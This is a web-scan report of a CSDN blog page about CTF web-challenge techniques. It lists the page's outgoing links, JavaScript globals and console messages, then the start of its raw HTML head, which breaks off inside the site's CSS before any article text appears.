- 扫描 ID:
- 5b15a854-9e80-4874-954e-0afa940e5ad5已完成
- 提交的 URL:
- https://blog.csdn.net/yjprolus/article/details/122903841已重定向
- 报告完成时间:
链接 · 找到 85 个
从页面中识别出的传出链接
链接 | 文本 |
---|---|
https://www.csdn.net/ | |
https://download.csdn.net/ | 下载 |
https://geek.csdn.net?utm_source=zhuzhantoolbar | 学习 |
https://bbs.csdn.net/ | 社区 |
https://so.csdn.net/chat?utm_source=vip_chatgpt_common_pc_toolbar | C知道 |
https://link.csdn.net?target=https%3A%2F%2Fgitcode.com%3Futm_source%3Dcsdn_toolbar | GitCode |
https://inscode.csdn.net?utm_source=260232576 | InsCode |
https://summit.csdn.net/ | 会议 |
https://mall.csdn.net/vip | 立即使用 |
https://i.csdn.net/#/msg/index | 消息 |
JavaScript 变量 · 找到 350 个
在页面窗口对象上加载的全局 JavaScript 变量是在函数外部声明的变量,可以从当前范围内的代码中的任何位置访问
名称 | 类型 |
---|---|
0 | object |
1 | object |
2 | object |
3 | object |
4 | object |
5 | object |
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
$ | function |
控制台日志消息 · 找到 5 条
记录到 Web 控制台的消息
类型 | 类别 | 记录 |
---|---|---|
log | other |
|
log | javascript |
|
error | network |
|
warning | other |
|
verbose | dom |
|
HTML
页面的原始 HTML 正文
<!DOCTYPE html><html lang="zh-CN"><head><link href="https://fonts.googleapis.com/css?family=Archivo:400,500|Arimo:400,500|Bitter:400,500|EB+Garamond:400,500|Lato|Libre+Baskervill|Libre+Franklin:400,500|Lora:400,500|Google+Sans_old:regular,medium:400,500|Material+Icons|Google+Symbols|Merriweather|Montserrat:400,500|Mukta:400,500|Muli:400,500|Nunito:400,500|Open+Sans:400,500,600|Open+Sans+Condensed:400,600|Oswald:500|Playfair+Display:400,500|Poppins:400,500|Raleway:400,500|Roboto_old:400,500|Roboto+Condensed:400,500|Roboto+Slab:400,500|Slabo+27px|Source+Sans+Pro|Ubuntu:400,500|Volkhov&display=swap" rel="stylesheet">
<style>.passport-login-tip-container{<br> position: fixed;<br> font-family: -apple-system,SF UI Text,Arial,PingFang SC,Hiragino Sans GB,Microsoft YaHei,WenQuanYi Micro Hei,sans-serif;<br> bottom: 24px;<br> right: 24px;<br> width: 368px;<br> padding: 24px 16px;<br> background: #fff;<br> color: #555666;<br> box-shadow: 0px 0px 10px 2px rgba(0,0,0,0.06);<br> border-radius: 4px;<br> z-index: 9999;<br> }<br> .passport-login-tip-container.dark { background: #404041; color: #fff; } <br> .passport-login-tip-container p.tit { margin-bottom:16px; font-size: 14px; font-weight: 500;color: #222226; line-height: 22px;} <br> .passport-login-tip-container.dark p.tit { color: #fff; } <br> .passport-login-tip-container ul { display: flex; flex-wrap: wrap; } <br> .passport-login-tip-container ul li { flex: 0 0 50%; margin-bottom: 16px; font-size: 0; } <br> .passport-login-tip-container ul li span { font-size: 14px; font-weight: 400; line-height: 22px; vertical-align: middle; }<br> .passport-login-tip-container ul li img { margin-right: 3px; width: 16px; height: 16px; vertical-align: middle; }<br> .passport-login-tip-container button { border: none;margin-top: 8px; width: 100%; height: 40px; background: #FC5531; border-radius: 20px; font-size: 14px; font-weight: 500; color: #FFFFFF; transition: all .2s; line-height: 40px;}<br> .passport-login-tip-container button:hover { background: #FC1944; }<br> </style><meta charset="utf-8">
<link rel="canonical" href="https://blog.csdn.net/yjprolus/article/details/122903841">
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<meta name="renderer" content="webkit">
<meta name="force-rendering" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
<meta name="report" content="{"pid": "blog", "spm":"1001.2101"}">
<meta name="referrer" content="always">
<meta http-equiv="Cache-Control" content="no-siteapp"><link rel="alternate" media="handheld" href="#">
<meta name="shenma-site-verification" content="5a59773ab8077d4a62bf469ab966a63b_1497598848">
<meta name="applicable-device" content="pc">
<link href="https://g.csdnimg.cn/static/logo/favicon32.ico" rel="shortcut icon" type="image/x-icon">
<title>最全CTF Web题思路总结(更新ing)-CSDN博客</title>
<script type="text/javascript" async="" src="https://pos.baidu.com/auto_dup?di=0&uuid=456fc5a1ab3fb19f&dri=0&dis=0&dai=0&ps=0x0&enu=encoding&exps=110011&ant=0&psi=e00785ef367c18db&dcb=___baidu_union_callback&dtm=AUTO_JSONP&dvi=0.0&dci=-1&dpt=none&tpr=1732800560020&ti=%E6%9C%80%E5%85%A8CTF%20Web%E9%A2%98%E6%80%9D%E8%B7%AF%E6%80%BB%E7%BB%93%EF%BC%88%E6%9B%B4%E6%96%B0ing%EF%BC%89-CSDN%E5%8D%9A%E5%AE%A2&ari=2&ver=1121&kws=ctf%20web&dps=%E6%96%87%E7%AB%A0%E6%B5%8F%E8%A7%88%E9%98%85%E8%AF%BB5.9w%E6%AC%A1%EF%BC%8C%E7%82%B9%E8%B5%9E76%E6%AC%A1%EF%BC%8C%E6%94%B6%E8%97%8F701%E6%AC%A1%E3%80%82%E4%B8%AA%E4%BA%BA%E5%90%91CTF%20Web%E9%A2%98%E6%80%9D%E8%B7%AF%E6%80%BB%E7%BB%93%E7%AC%94%E8%AE%B0_ctf%20web&dbv=2&drs=1&pcs=800x600&pss=800x600&cfv=0&cpl=5&chi=2&cce=true&cec=UTF-8&tlm=1732800560&prot=2&rw=600&ltu=https%3A%2F%2Fblog.csdn.net%2Fyjprolus%2Farticle%2Fdetails%2F122903841&ecd=1&dft=0&uc=1x1&pis=-1x-1&sr=1x1&tcn=1732800560&dc=4&aa=1"></script><script type="text/javascript" charset="utf-8" async="" src="https://gsp0.baidu.com/yrwHcjSl0MgCo2Kml5_Y_D3/api/customsearch/apiaccept?sid=10742016945123576423&v=2.0&callback=csdn.afterBaiduSearchInit"></script><script src="https://pagead2.googlesyndication.com/pagead/managed/js/adsense/m202411180101/show_ads_impl_with_ama_fy2021.js?client=ca-pub-1076724771190722&plah=blog.csdn.net&bust=31089116"></script><script src="https://pagead2.googlesyndication.com/pagead/managed/js/adsense/m202411180101/slotcar_library_fy2021.js?bust=31089116"></script><script async="" src="https://www.clarity.ms/s/0.7.56/clarity.js"></script><script src="https://zz.bdstatic.com/linksubmit/push.js"></script><script type="text/javascript" async="" src="https://g.csdnimg.cn/??asdf/1.1.3/trackad.js,iconfont/nav/iconfont-1.0.1.js,notification/1.3.8/notify.js,notification/1.3.8/main.js"></script><script src="https://hm.baidu.com/hm.js?6bcd52f51e9b3dce32bec4a3997715ac"></script><script async="" src="https://www.clarity.ms/tag/lgtpix6r85"></script><script src="https://s3a.pstatp.com/toutiao/push.js?1abfa13dfe74d72d41d83c86d240de427e7cac50c51ead53b2e79d40c7952a23ed7716d05b4a0f683a653eab3e214672511de2457e74e99286eb2c33f4428830" id="ttzz"></script><script>
(function(){
var el = document.createElement("script");
el.src = "https://s3a.pstatp.com/toutiao/push.js?1abfa13dfe74d72d41d83c86d240de427e7cac50c51ead53b2e79d40c7952a23ed7716d05b4a0f683a653eab3e214672511de2457e74e99286eb2c33f4428830";
el.id = "ttzz";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(el, s);
})(window)
</script>
<meta name="keywords" content="ctf web">
<meta name="csdn-baidu-search" content="{"autorun":true,"install":true,"keyword":"ctf web"}">
<meta name="description" content="文章浏览阅读5.9w次,点赞76次,收藏701次。个人向CTF Web题思路总结笔记_ctf web">
<link rel="stylesheet" type="text/css" href="https://csdnimg.cn/release/blogv2/dist/pc/css/detail_enter-62005624ac.min.css">
<style>
#content_views pre{
-webkit-touch-callout: none;
-webkit-user-select: none;
-khtml-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}
#content_views pre code{
-webkit-touch-callout: none;
-webkit-user-select: none;
-khtml-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}
</style>
<script type="application/ld+json">{"@context":"https://ziyuan.baidu.com/contexts/cambrian.jsonld","@id":"https://blog.csdn.net/yjprolus/article/details/122903841","appid":"1638831770136827","pubDate":"2022-02-12T23:21:17","title":"最全CTF Web题思路总结(更新ing)-CSDN博客","upDate":"2022-02-12T23:37:08"}</script>
<link rel="stylesheet" type="text/css" href="https://csdnimg.cn/release/blogv2/dist/pc/themesSkin/skin-sea/skin-sea-d3a08c2048.min.css">
<script src="https://g.csdnimg.cn/lib/jquery/1.12.4/jquery.min.js" type="text/javascript"></script>
<script src="https://g.csdnimg.cn/lib/jquery-migrate/1.4.1/jquery-migrate.js" type="text/javascript"></script>
<script type="text/javascript">
var isCorporate = false;
var username = "yjprolus";
var skinImg = "white";
var blog_address = "https://blog.csdn.net/yjprolus";
var currentUserName = "";
var isOwner = false;
var loginUrl = "http://passport.csdn.net/account/login?from=https://blog.csdn.net/yjprolus/article/details/122903841";
var blogUrl = "https://blog.csdn.net/";
var avatar = "https://profile-avatar.csdnimg.cn/5e28ec52bc45424f8763db50bc3115af_yjprolus.jpg!1";
var articleTitle = "最全CTF Web题思路总结(更新ing)";
var articleDesc = "文章浏览阅读5.9w次,点赞76次,收藏701次。个人向CTF Web题思路总结笔记_ctf web";
var articleTitles = "最全CTF Web题思路总结(更新ing)-CSDN博客";
var nickName = "yjprolus";
var articleDetailUrl = "https://blog.csdn.net/yjprolus/article/details/122903841";
var vipUrlV = "https://mall.csdn.net/vip?vipSource=learningVip";
if(window.location.host.split('.').length == 3) {
blog_address = blogUrl + username;
}
var skinStatus = "White";
var blogStaticHost = "https://csdnimg.cn/release/blogv2/"
var payColumn = false
</script>
<meta name="toolbar" content="{"type":"0","fixModel":"1"}">
<script src="https://g.csdnimg.cn/??fixed-sidebar/1.1.7/fixed-sidebar.js" type="text/javascript"></script>
<script src="https://cdn-static-devbit.csdn.net/ai100/chat/chat-search.js?v=2" type="text/javascript"></script><style>@charset "UTF-8";:root{--el-color-white:#ffffff;--el-color-black:#000000;--el-color-primary-rgb:64,158,255;--el-color-success-rgb:103,194,58;--el-color-warning-rgb:230,162,60;--el-color-danger-rgb:245,108,108;--el-color-error-rgb:245,108,108;--el-color-info-rgb:144,147,153;--el-font-size-extra-large:20px;--el-font-size-large:18px;--el-font-size-medium:16px;--el-font-size-base:14px;--el-font-size-small:13px;--el-font-size-extra-small:12px;--el-font-family:"Helvetica Neue",Helvetica,"PingFang SC","Hiragino Sans GB","Microsoft YaHei","微软雅黑",Arial,sans-serif;--el-font-weight-primary:500;--el-font-line-height-primary:24px;--el-index-normal:1;--el-index-top:1000;--el-index-popper:2000;--el-border-radius-base:4px;--el-border-radius-small:2px;--el-border-radius-round:20px;--el-border-radius-circle:100%;--el-transition-duration:.3s;--el-transition-duration-fast:.2s;--el-transition-function-ease-in-out-bezier:cubic-bezier(.645, .045, .355, 1);--el-transition-function-fast-bezier:cubic-bezier(.23, 1, .32, 1);--el-transition-all:all var(--el-transition-duration) var(--el-transition-function-ease-in-out-bezier);--el-transition-fade:opacity var(--el-transition-duration) var(--el-transition-function-fast-bezier);--el-transition-md-fade:transform var(--el-transition-duration) var(--el-transition-function-fast-bezier),opacity var(--el-transition-duration) var(--el-transition-function-fast-bezier);--el-transition-fade-linear:opacity var(--el-transition-duration-fast) linear;--el-transition-border:border-color var(--el-transition-duration-fast) var(--el-transition-function-ease-in-out-bezier);--el-transition-box-shadow:box-shadow var(--el-transition-duration-fast) var(--el-transition-function-ease-in-out-bezier);--el-transition-color:color var(--el-transition-duration-fast) var(--el-transition-function-ease-in-out-bezier);--el-component-size-large:40px;--el-component-size:32px;--el-component-size-small:24px}:root{color-scheme:light;--el-color-white:#ffffff;--el-color-black:#000000;--el-color-primary:#409eff;--el-color-primary-light-3:#79bbff;--el-color-primary-light-5:#a0cfff;--el-color-primary-light-7:#c6e2ff;--el-color-primary-light-8:#d9ecff;--el-color-primary-light-9:#ecf5ff;--el-color-primary-dark-2:#337ecc;--el-color-success:#67c23a;--el-color-success-light-3:#95d475;--el-color-success-light-5:#b3e19d;--el-color-success-light-7:#d1edc4;--el-color-success-light-8:#e1f3d8;--el-color-success-light-9:#f0f9eb;--el-color-success-dark-2:#529b2e;--el-color-warning:#e6a23c;--el-color-warning-light-3:#eebe77;--el-color-warning-light-5:#f3d19e;--el-color-warning-light-7:#f8e3c5;--el-color-warning-light-8:#faecd8;--el-color-warning-light-9:#fdf6ec;--el-color-warning-dark-2:#b88230;--el-color-danger:#f56c6c;--el-color-danger-light-3:#f89898;--el-color-danger-light-5:#fab6b6;--el-color-danger-light-7:#fcd3d3;--el-color-danger-light-8:#fde2e2;--el-color-danger-light-9:#fef0f0;--el-color-danger-dark-2:#c45656;--el-color-error:#f56c6c;--el-color-error-light-3:#f89898;--el-color-error-light-5:#fab6b6;--el-color-error-light-7:#fcd3d3;--el-color-error-light-8:#fde2e2;--el-color-error-light-9:#fef0f0;--el-color-error-dark-2:#c45656;--el-color-info:#909399;--el-color-info-light-3:#b1b3b8;--el-color-info-light-5:#c8c9cc;--el-color-info-light-7:#dedfe0;--el-color-info-light-8:#e9e9eb;--el-color-info-light-9:#f4f4f5;--el-color-info-dark-2:#73767a;--el-bg-color:#ffffff;--el-bg-color-page:#f2f3f5;--el-bg-color-overlay:#ffffff;--el-text-color-primary:#303133;--el-text-color-regular:#606266;--el-text-color-secondary:#909399;--el-text-color-placeholder:#a8abb2;--el-text-color-disabled:#c0c4cc;--el-border-color:#dcdfe6;--el-border-color-light:#e4e7ed;--el-border-color-lighter:#ebeef5;--el-border-color-extra-light:#f2f6fc;--el-border-color-dark:#d4d7de;--el-border-color-darker:#cdd0d6;--el-fill-color:#f0f2f5;--el-fill-color-light:#f5f7fa;--el-fill-color-lighter:#fafafa;--el-fill-color-extra-light:#fafcff;--el-fill-color-dark:#ebedf0;--el-fill-color-darker:#e6e8eb;--el-fill-color-blank:#ffffff;--el-box-shadow:0px 12px 32px 4px rgba(0, 0, 0, .04),0px 8px 20px rgba(0, 0, 0, .08);--el-box-shadow-light:0px 0px 12px rgba(0, 0, 0, .12);--el-box-shadow-lighter:0px 0px 6px rgba(0, 0, 0, .12);--el-box-shadow-dark:0px 16px 48px 16px rgba(0, 0, 0, .08),0px 12px 32px rgba(0, 0, 0, .12),0px 8px 16px -8px rgba(0, 0, 0, .16);--el-disabled-bg-color:var(--el-fill-color-light);--el-disabled-text-color:var(--el-text-color-placeholder);--el-disabled-border-color:var(--el-border-color-light);--el-overlay-color:rgba(0, 0, 0, .8);--el-overlay-color-light:rgba(0, 0, 0, .7);--el-overlay-color-lighter:rgba(0, 0, 0, .5);--el-mask-color:rgba(255, 255, 255, .9);--el-mask-color-extra-light:rgba(255, 255, 255, .3);--el-border-width:1px;--el-border-style:solid;--el-border-color-hover:var(--el-text-color-disabled);--el-border:var(--el-border-width) var(--el-border-style) var(--el-border-color);--el-svg-monochrome-grey:var(--el-border-color)}.fade-in-linear-enter-active,.fade-in-linear-leave-active{transition:var(--el-transition-fade-linear)}.fade-in-linear-enter-from,.fade-in-linear-leave-to{opacity:0}.el-fade-in-linear-enter-active,.el-fade-in-linear-leave-active{transition:var(--el-transition-fade-linear)}.el-fade-in-linear-enter-from,.el-fade-in-linear-leave-to{opacity:0}.el-fade-in-enter-active,.el-fade-in-leave-active{transition:all var(--el-transition-duration) cubic-bezier(.55,0,.1,1)}.el-fade-in-enter-from,.el-fade-in-leave-active{opacity:0}.el-zoom-in-center-enter-active,.el-zoom-in-center-leave-active{transition:all var(--el-transition-duration) cubic-bezier(.55,0,.1,1)}.el-zoom-in-center-enter-from,.el-zoom-in-center-leave-active{opacity:0;transform:scaleX(0)}.el-zoom-in-top-enter-active,.el-zoom-in-top-leave-active{opacity:1;transform:scaleY(1);transition:var(--el-transition-md-fade);transform-origin:center top}.el-zoom-in-top-enter-active[data-popper-placement^=top],.el-zoom-in-top-leave-active[data-popper-placement^=top]{transform-origin:center bottom}.el-zoom-in-top-enter-from,.el-zoom-in-top-leave-active{opacity:0;transform:scaleY(0)}.el-zoom-in-bottom-enter-active,.el-zoom-in-bottom-leave-active{opacity:1;transform:scaleY(1);transition:var(--el-transition-md-fade);transform-origin:center bottom}.el-zoom-in-bottom-enter-from,.el-zoom-in-bottom-leave-active{opacity:0;transform:scaleY(0)}.el-zoom-in-left-enter-active,.el-zoom-in-left-leave-active{opacity:1;transform:scale(1);transition:var(--el-transition-md-fade);transform-origin:top left}.el-zoom-in-left-enter-from,.el-zoom-in-left-leave-active{opacity:0;transform:scale(.45)}.collapse-transition{transition:var(--el-transition-duration) height ease-in-out,var(--el-transition-duration) padding-top ease-in-out,var(--el-transition-duration) padding-bottom ease-in-out}.el-collapse-transition-enter-active,.el-collapse-transition-leave-active{transition:var(--el-transition-duration) max-height ease-in-out,var(--el-transition-duration) padding-top ease-in-out,var(--el-transition-duration) padding-bottom ease-in-out}.horizontal-collapse-transition{transition:var(--el-transition-duration) width ease-in-out,var(--el-transition-duration) padding-left ease-in-out,var(--el-transition-duration) padding-right ease-in-out}.el-list-enter-active,.el-list-leave-active{transition:all 1s}.el-list-enter-from,.el-list-leave-to{opacity:0;transform:translateY(-30px)}.el-list-leave-active{position:absolute!important}.el-opacity-transition{transition:opacity var(--el-transition-duration) cubic-bezier(.55,0,.1,1)}.el-drawer{--el-drawer-bg-color:var(--el-dialog-bg-color, var(--el-bg-color));--el-drawer-padding-primary:var(--el-dialog-padding-primary, 20px)}.el-drawer{position:absolute;box-sizing:border-box;background-color:var(--el-drawer-bg-color);display:flex;flex-direction:column;box-shadow:var(--el-box-shadow-dark);overflow:hidden;transition:all var(--el-transition-duration)}.el-drawer .rtl,.el-drawer .ltr,.el-drawer .ttb,.el-drawer .btt{transform:translate(0)}.el-drawer__sr-focus:focus{outline:0!important}.el-drawer__header{align-items:center;color:#72767b;display:flex;margin-bottom:32px;padding:var(--el-drawer-padding-primary);padding-bottom:0}.el-drawer__header>:first-child{flex:1}.el-drawer__title{margin:0;flex:1;line-height:inherit;font-size:1rem}.el-drawer__footer{padding:var(--el-drawer-padding-primary);padding-top:10px;text-align:right}.el-drawer__close-btn{display:inline-flex;border:none;cursor:pointer;font-size:var(--el-font-size-extra-large);color:inherit;background-color:transparent;outline:0}.el-drawer__close-btn:focus i,.el-drawer__close-btn:hover i{color:var(--el-color-primary)}.el-drawer__body{flex:1;padding:var(--el-drawer-padding-primary);overflow:auto}.el-drawer__body>*{box-sizing:border-box}.el-drawer.ltr,.el-drawer.rtl{height:100%;top:0;bottom:0}.el-drawer.btt,.el-drawer.ttb{width:100%;left:0;right:0}.el-drawer.ltr{left:0}.el-drawer.rtl{right:0}.el-drawer.ttb{top:0}.el-drawer.btt{bottom:0}.el-drawer-fade-enter-active,.el-drawer-fade-leave-active{transition:all var(--el-transition-duration)}.el-drawer-fade-enter-active,.el-drawer-fade-enter-from,.el-drawer-fade-enter-to,.el-drawer-fade-leave-active,.el-drawer-fade-leave-from,.el-drawer-fade-leave-to{overflow:hidden!important}.el-drawer-fade-enter-from,.el-drawer-fade-leave-to{opacity:0}.el-drawer-fade-enter-to,.el-drawer-fade-leave-from{opacity:1}.el-drawer-fade-enter-from .rtl,.el-drawer-fade-leave-to .rtl{transform:translate(100%)}.el-drawer-fade-enter-from .ltr,.el-drawer-fade-leave-to .ltr{transform:translate(-100%)}.el-drawer-fade-enter-from .ttb,.el-drawer-fade-leave-to .ttb{transform:translateY(-100%)}.el-drawer-fade-enter-from .btt,.el-drawer-fade-leave-to .btt{transform:translateY(100%)}.el-overlay{position:fixed;top:0;right:0;bottom:0;left:0;z-index:2000;height:100%;background-color:var(--el-overlay-color-lighter);overflow:auto}.el-overlay .el-overlay-root{height:0}.el-popper{--el-popper-border-radius:var(--el-popover-border-radius, 4px)}.el-popper{position:absolute;border-radius:var(--el-popper-border-radius);padding:5px 11px;z-index:2000;font-size:12px;line-height:20px;min-width:10px;word-wrap:break-word;visibility:visible}.el-popper.is-dark{color:var(--el-bg-color);background:var(--el-text-color-primary);border:1px solid var(--el-text-color-primary)}.el-popper.is-dark .el-popper__arrow:before{border:1px solid var(--el-text-color-primary);background:var(--el-text-color-primary);right:0}.el-popper.is-light{background:var(--el-bg-color-overlay);border:1px solid var(--el-border-color-light)}.el-popper.is-light .el-popper__arrow:before{border:1px solid var(--el-border-color-light);background:var(--el-bg-color-overlay);right:0}.el-popper.is-pure{padding:0}.el-popper__arrow{position:absolute;width:10px;height:10px;z-index:-1}.el-popper__arrow:before{position:absolute;width:10px;height:10px;z-index:-1;content:" ";transform:rotate(45deg);background:var(--el-text-color-primary);box-sizing:border-box}.el-popper[data-popper-placement^=top]>.el-popper__arrow{bottom:-5px}.el-popper[data-popper-placement^=top]>.el-popper__arrow:before{border-bottom-right-radius:2px}.el-popper[data-popper-placement^=bottom]>.el-popper__arrow{top:-5px}.el-popper[data-popper-placement^=bottom]>.el-popper__arrow:before{border-top-left-radius:2px}.el-popper[data-popper-placement^=left]>.el-popper__arrow{right:-5px}.el-popper[data-popper-placement^=left]>.el-popper__arrow:before{border-top-right-radius:2px}.el-popper[data-popper-placement^=right]>.el-popper__arrow{left:-5px}.el-popper[data-popper-placement^=right]>.el-popper__arrow:before{border-bottom-left-radius:2px}.el-popper[data-popper-placement^=top] .el-popper__arrow:before{border-top-color:transparent!important;border-left-color:transparent!important}.el-popper[data-popper-placement^=bottom] .el-popper__arrow:before{border-bottom-color:transparent!important;border-right-color:transparent!important}.el-popper[data-popper-placement^=left] .el-popper__arrow:before{border-left-color:transparent!important;border-bottom-color:transparent!important}.el-popper[data-popper-placement^=right] .el-popper__arrow:before{border-right-color:transparent!important;border-top-color:transparent!important}.el-popover{--el-popover-bg-color:var(--el-bg-color-overlay);--el-popover-font-size:var(--el-font-size-base);--el-popover-border-color:var(--el-border-color-lighter);--el-popover-padding:12px;--el-popover-padding-large:18px 20px;--el-popover-title-font-size:16px;--el-popover-title-text-color:var(--el-text-color-primary);--el-popover-border-radius:4px}.el-popover.el-popper{background:var(--el-popover-bg-color);min-width:150px;border-radius:var(--el-popover-border-radius);border:1px solid var(--el-popover-border-color);padding:var(--el-popover-padding);z-index:var(--el-index-popper);color:var(--el-text-color-regular);line-height:1.4;text-align:justify;font-size:var(--el-popover-font-size);box-shadow:var(--el-box-shadow-light);word-break:break-all;box-sizing:border-box}.el-popover.el-popper--plain{padding:var(--el-popover-padding-large)}.el-popover__title{color:var(--el-popover-title-text-color);font-size:var(--el-popover-title-font-size);line-height:1;margin-bottom:12px}.el-popover__reference:focus:hover,.el-popover__reference:focus:not(.focusing){outline-width:0}.el-popover.el-popper.is-dark{--el-popover-bg-color:var(--el-text-color-primary);--el-popover-border-color:var(--el-text-color-primary);--el-popover-title-text-color:var(--el-bg-color);color:var(--el-bg-color)}.el-popover.el-popper:focus,.el-popover.el-popper:focus:active{outline-width:0}.el-icon-loading{-webkit-animation:rotating 2s linear infinite;animation:rotating 2s linear infinite}.el-icon--right{margin-left:5px}.el-icon--left{margin-right:5px}@-webkit-keyframes rotating{0%{transform:rotate(0)}to{transform:rotate(360deg)}}@keyframes rotating{0%{transform:rotate(0)}to{transform:rotate(360deg)}}.el-icon{--color:inherit;height:1em;width:1em;line-height:1em;display:inline-flex;justify-content:center;align-items:center;position:relative;fill:currentColor;color:var(--color);font-size:inherit}.el-icon.is-loading{-webkit-animation:rotating 2s linear infinite;animation:rotating 2s linear infinite}.el-icon svg{height:1em;width:1em}.el-badge{--el-badge-bg-color:var(--el-color-danger);--el-badge-radius:10px;--el-badge-font-size:12px;--el-badge-padding:6px;--el-badge-size:18px;position:relative;vertical-align:middle;display:inline-block;width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}.el-badge__content{background-color:var(--el-badge-bg-color);border-radius:var(--el-badge-radius);color:var(--el-color-white);display:inline-flex;justify-content:center;align-items:center;font-size:var(--el-badge-font-size);height:var(--el-badge-size);padding:0 var(--el-badge-padding);white-space:nowrap;border:1px solid var(--el-bg-color)}.el-badge__content.is-fixed{position:absolute;top:0;right:calc(1px + var(--el-badge-size)/ 2);transform:translateY(-50%) translate(100%);z-index:var(--el-index-normal)}.el-badge__content.is-fixed.is-dot{right:5px}.el-badge__content.is-dot{height:8px;width:8px;padding:0;right:0;border-radius:50%}.el-badge__content--primary{background-color:var(--el-color-primary)}.el-badge__content--success{background-color:var(--el-color-success)}.el-badge__content--warning{background-color:var(--el-color-warning)}.el-badge__content--info{background-color:var(--el-color-info)}.el-badge__content--danger{background-color:var(--el-color-danger)}.el-message{--el-message-bg-color:var(--el-color-info-light-9);--el-message-border-color:var(--el-border-color-lighter);--el-message-padding:15px 19px;--el-message-close-size:16px;--el-message-close-icon-color:var(--el-text-color-placeholder);--el-message-close-hover-color:var(--el-text-color-secondary)}.el-message{width:-webkit-fit-content;width:-moz-fit-content;width:fit-content;max-width:calc(100% - 32px);box-sizing:border-box;border-radius:var(--el-border-radius-base);border-width:var(--el-border-width);border-style:var(--el-border-style);border-color:var(--el-message-border-color);position:fixed;left:50%;top:20px;transform:translate(-50%);background-color:var(--el-message-bg-color);transition:opacity var(--el-transition-duration),transform .4s,top .4s;padding:var(--el-message-padding);display:flex;align-items:center}.el-message.is-center{justify-content:center}.el-message.is-closable .el-message__content{padding-right:31px}.el-message p{margin:0}.el-message--success{--el-message-bg-color:var(--el-color-success-light-9);--el-message-border-color:var(--el-color-success-light-8);--el-message-text-color:var(--el-color-success)}.el-message--success .el-message__content{color:var(--el-message-text-color);overflow-wrap:anywhere}.el-message .el-message-icon--success{color:var(--el-message-text-color)}.el-message--info{--el-message-bg-color:var(--el-color-info-light-9);--el-message-border-color:var(--el-color-info-light-8);--el-message-text-color:var(--el-color-info)}.el-message--info .el-message__content{color:var(--el-message-text-color);overflow-wrap:anywhere}.el-message .el-message-icon--info{color:var(--el-message-text-color)}.el-message--warning{--el-message-bg-color:var(--el-color-warning-light-9);--el-message-border-color:var(--el-color-warning-light-8);--el-message-text-color:var(--el-color-warning)}.el-message--warning .el-message__content{color:var(--el-message-text-color);overflow-wrap:anywhere}.el-message .el-message-icon--warning{color:var(--el-message-text-color)}.el-message--error{--el-message-bg-color:var(--el-color-error-light-9);--el-message-border-color:var(--el-color-error-light-8);--el-message-text-color:var(--el-color-error)}.el-message--error .el-message__content{color:var(--el-message-text-color);overflow-wrap:anywhere}.el-message .el-message-icon--error{color:var(--el-message-text-color)}.el-message__icon{margin-right:10px}.el-message .el-message__badge{position:absolute;top:-8px;right:-8px}.el-message__content{padding:0;font-size:14px;line-height:1}.el-message__content:focus{outline-width:0}.el-message .el-message__closeBtn{position:absolute;top:50%;right:19px;transform:translateY(-50%);cursor:pointer;color:var(--el-message-close-icon-color);font-size:var(--el-message-close-size)}.el-message .el-message__closeBtn:focus{outline-width:0}.el-message .el-message__closeBtn:hover{color:var(--el-message-close-hover-color)}.el-message-fade-enter-from,.el-message-fade-leave-to{opacity:0;transform:translate(-50%,-100%)}@media screen and (min-width: 769px){.scroll-bar-style:hover::-webkit-scrollbar-thumb,.el-popover.chat-order-popper .chat-order-list:hover::-webkit-scrollbar-thumb{box-shadow:inset 0 0 5px #0000001a;background:#f7f7fc}.scroll-bar-style::-webkit-scrollbar,.el-popover.chat-order-popper .chat-order-list::-webkit-scrollbar{width:5px;height:5px}.scroll-bar-style::-webkit-scrollbar-thumb,.el-popover.chat-order-popper .chat-order-list::-webkit-scrollbar-thumb{border-radius:10px;box-shadow:inset 0 0 5px #0000;background:#0000}.scroll-bar-style::-webkit-scrollbar-track,.el-popover.chat-order-popper .chat-order-list::-webkit-scrollbar-track{border-radius:10px;background:#0000}}.fade-enter-active,.fade-leave-active{transition:opacity .5s ease}.fade-enter-from,.fade-leave-to{opacity:0}.simple .chat-order{bottom:130px}.simple .chat-order-main{height:320px}.simple .chat-order-list{height:266px}.el-popover.chat-order-popper{border-radius:16px;overflow:hidden;padding:16px}.el-popover.chat-order-popper .chat-order{width:100%;z-index:88;display:flex;justify-content:center}.el-popover.chat-order-popper .chat-order-main{position:relative;width:320px;height:400px;background:#fff}.el-popover.chat-order-popper .chat-order-title{display:flex;justify-content:space-between;align-items:center;padding-bottom:18px;font-size:14px;font-weight:500;color:var(--color-text-primary)}.el-popover.chat-order-popper .chat-order-title .chat-icon-tip{width:12px;height:12px}.el-popover.chat-order-popper .chat-order-list{border-radius:8px;background:#fff;overflow:auto;height:366px}.el-popover.chat-order-popper .chat-order-list .order-list-item{margin-bottom:8px}.el-popover.chat-order-popper .chat-order-list .order-list-item .order-time{color:#222226;font-family:PingFang SC;font-size:14px;font-style:normal;font-weight:400;line-height:16px}.el-popover.chat-order-popper .chat-order-list .order-list-item .order-pay{padding:12px 0;position:relative;color:#555666;font-size:16px;font-style:normal;line-height:16px}.el-popover.chat-order-popper .chat-order-list .order-list-item .order-pay:before{position:absolute;content:"";top:0;left:8px;height:100%;width:1px;background-color:var(--color-input-border)}.el-popover.chat-order-popper .chat-order-list .order-list-item .order-pay-item{padding:0 16px 16px 24px;display:flex;justify-content:space-between}.el-popover.chat-order-popper .chat-order-list .order-list-item .order-pay-item:last-child{padding-bottom:0}.empty{display:flex;justify-content:center;align-items:center;height:100%}.chat-popper.el-popover.el-popper{background:transparent;border:none;padding:0;border-radius:16px;box-shadow:4px 4px 40px #0000001a}.chat-popper.el-popover.el-popper .right-content{border-radius:16px;overflow:hidden;background:#fff linear-gradient(180deg,#e6fbff 1.51%,#f4f1ff 26.51%,#f5e8ff00 80%);padding:16px;box-sizing:border-box}.chat-user[data-v-fd18637b]{display:flex;padding:0 0 32px;justify-content:center}.chat-user .user-left[data-v-fd18637b]{display:flex;align-items:center;border:1px solid #e8e8f0;width:40px;height:40px;border-radius:40px;position:relative}.chat-user 